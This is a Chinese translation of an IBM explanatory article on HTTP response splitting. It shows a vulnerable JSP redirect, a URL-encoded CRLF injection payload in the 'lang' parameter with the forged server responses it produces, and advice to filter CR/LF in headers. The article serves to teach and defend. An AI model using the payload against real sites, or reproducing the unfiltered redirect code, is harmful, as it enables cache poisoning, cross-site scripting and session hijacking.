翻译自https://www-304.ibm.com/support/docview.wss?uid=swg27019020#Conclusions
摘要:
国外将其归结为一种新的WEB应用漏洞攻击技术,可以构造跨站、缓存投毒和劫持敏感用户信息等。攻击是由于服务器没有过滤提交的回车(CR,ASCII 13 0x0D,\r)和换行(LF,ASCII 10 0x0A,\n),根据HTTP标准(RFC2616),headers由CRLF进行分割,因此没有删除CR和LF将会导致攻击者随意构造headers,控制body,或者将响应分割为两个或更多的响应。
国内有人认为不应该将“HTTP Response Splitting”归结是一种新WEB应用漏洞的攻击手法,而是把它归类为一个古老的系统漏洞。这种看法基于漏洞的产生原理而并非漏洞的攻击方式。"\r\n"在HTTP的RFC中被规定为分隔符,也就是说WEB服务器没有过滤用户的输入,允许用户直接输入协议中规定的特殊含义的字段。很显然,错误在WEB服务器本身,而与写上层应用系统的语言无关,更与应用系统无关。PHP就针对此类漏洞从4.4.2和5.1.2版本开始提供防护。
原理介绍:
造成http响应头截断漏洞的主要原因是对用户提交的非法字符没有进行严格的过滤,尤其是CR,LF字符的输入。攻击者通过发送经过精心构造的request请求,迫使服务器认为其返回的数据是两个响应,而不是常规的一个响应。在正常情况下,第一个响应可能被攻击者部分控制,但是这并不是主要的。最重要的是攻击者从HTTP状态行到响应体(response body)的最后一个字节完全控制第二个响应。当可以通过精心构造的request完全控制第二个响应时,可以通过这样来实现攻击:发送两个请求A,B。A请求包含构造数据,该请求致使服务器返回两个响应R1,R2,其中R2是可以通过在A中的精心构造而完全控制的。服务器将R1作为response返回给A,而R2则被服务器作为B的response而返回给了B﹙即使R2并不是服务器自己生成的)。
Request A------------->Web Server(R1,R2)
Request B------------->Web Server (本该是R3)
Web Server(R1)------------>A
Web Server(R2)------------>B
基本技术:
http响应头截断攻击重点在于可以在http头中输入数据,构造特殊字符形成截断。最可能的是在Location字段,还有在Set-Cookie字段中。
考虑如下的JSP页面 (assume it is located in /redir_lang.jsp):
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
当传递参数lang=English,它会重新定向到/by_lang.jsp?lang=English,典型相应如下
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwB
E!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It is now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.
1/by_lang.jsp?lang=English</a>.</p>
</body></html>
正如我们所看到的,参数被嵌入到了响应头的Location位置,我们就可以构造特殊的字符(CRLF)来截断http头,并附件一个自己构造的头:
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
服务器返回参数如下:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9Us
S!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It is now at <ahref="http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19<html>Shazam</html>">http://10.1.1.1/by_lang.jsp?l ang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html></a>.</p>
</body></html>
解释:
TCP数据流解析如下:
1.第一个响应,是302 response(redirection)跳转响应,红色字体部分;
2.第二个响应,是包含19个字节内容的200 response(OK)响应,参见下划线表示的部分;
3.其余的数据,在第二响应结束前得多余数据,不符合HTTP标准。
所以可以发送两个请求:
1. /redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
2. /index.html
这样服务器对于第一个请求返回:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMTLocation: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
对于第二个请求返回:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
防范方法:
通常情况下,这种攻击方式多发生在:
1. Set-Cookie 中的内容用户可以控制
2. 302跳转的 Location 地址用户可以控制
3. 其他自定义Header 用户可以控制
在这3个地方过滤或者替换 %0d%0a